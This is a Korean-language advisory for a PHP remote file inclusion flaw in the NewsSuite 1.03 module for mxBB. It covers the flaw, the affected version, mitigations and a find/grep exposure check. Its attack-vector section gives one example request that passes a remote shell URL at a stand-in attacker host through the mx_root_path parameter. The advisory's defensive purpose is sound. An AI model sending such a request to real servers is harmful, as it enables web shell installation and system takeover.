🇰🇷 한글 설명
NewsSuite 1.03 모듈의 newssuite_constants.php에서 mx_root_path 파라미터를 통한 PHP 원격 파일 포함(RFI) 취약점 발생. 공격자가 원격 서버의 악성 PHP 코드를 실행할 수 있으며, 이는 웹셸 설치, 데이터 탈취, 시스템 장악으로 이어질 수 있습니다.
💡 쉬운 설명
공격자가 mx_root_path 입력창에 원격 악성 파일의 주소를 입력하면, 서버가 그 파일을 자동으로 실행하는 취약점입니다. 마치 문을 열 때 누가 제공한 열쇠를 확인하지 않고 사용하는 것과 같습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in includes/newssuite_constants.php in the NewsSuite 1.03 module for mxBB allows remote attackers to execute arbitrary PHP code via a URL in the mx_root_path parameter.
📍 영향받는 시스템
NewsSuite 1.03 for mxBB
⚔️ 공격 벡터
HTTP GET/POST 요청을 통해 mx_root_path 파라미터에 원격 PHP 파일 URL을 삽입하여 임의 코드 실행 (예: ?mx_root_path=http://attacker.com/shell.php)
🛡️ 대응 방법
NewsSuite를 1.04 이상으로 즉시 업그레이드하고, 입력 파라미터 검증 및 파일 경로 화이트리스트 적용, allow_url_include PHP 옵션 비활성화
🔧 검증 코드
파일이 발견되고 mx_root_path 변수가 검증 없이 사용되면 취약점 존재; 파일이 없으면 시스템이 영향받지 않음
find /var/www -name 'newssuite_constants.php' 2>/dev/null && grep -r 'mx_root_path' /var/www 2>/dev/null | head -1